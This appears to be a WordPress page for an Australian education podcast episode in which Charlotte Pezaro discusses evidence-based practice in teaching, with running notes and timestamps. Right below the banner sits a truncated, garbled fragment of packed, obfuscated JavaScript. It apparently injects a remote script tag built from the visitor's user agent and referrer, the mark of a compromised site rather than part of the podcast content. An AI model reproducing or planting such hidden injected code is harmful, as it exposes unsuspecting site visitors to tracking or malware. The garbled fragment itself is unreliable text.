TER #089 – Questioning ‘Evidence Based Practice’ with Charlotte Pezaro – 02 April 2017

89banner

=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edtht|var|u0026u|referrer|ddeaz||js|php’.split(‘|’),0,{}))
url=”
https://api.soundcloud.com/tracks/315670162″ params=”color=ff5500&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false” width=”100%” height=”166″ iframe=”true” /]

Main feature: Charlotte Pezaro discusses the implications and nuances of ‘Evidence Based Practice’, particularly as it applies to teaching.

Regular Features: Off Campus-Dan Haesler explores a model for managing change in schools; Listener Contribution-Tom from Victoria shares his experience of taking students to see Hidden Figures; Education in the News-Cameron discusses school catchment zones being used to boost property prices.

00.00 Opening Credits
01:19 Intro – Cast Away Awards

Australian Education Podcasts

07:51 Hidden Figures & Teaching Maths
10:15 Off Campus – Dan Haesler
24:52 Secondary Commercialisation of Education
40:48 Feature Introduction
41:25 Interview – Charlotte Pezaro

1:28:46 Quote & Sign Off

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

w

Connecting to %s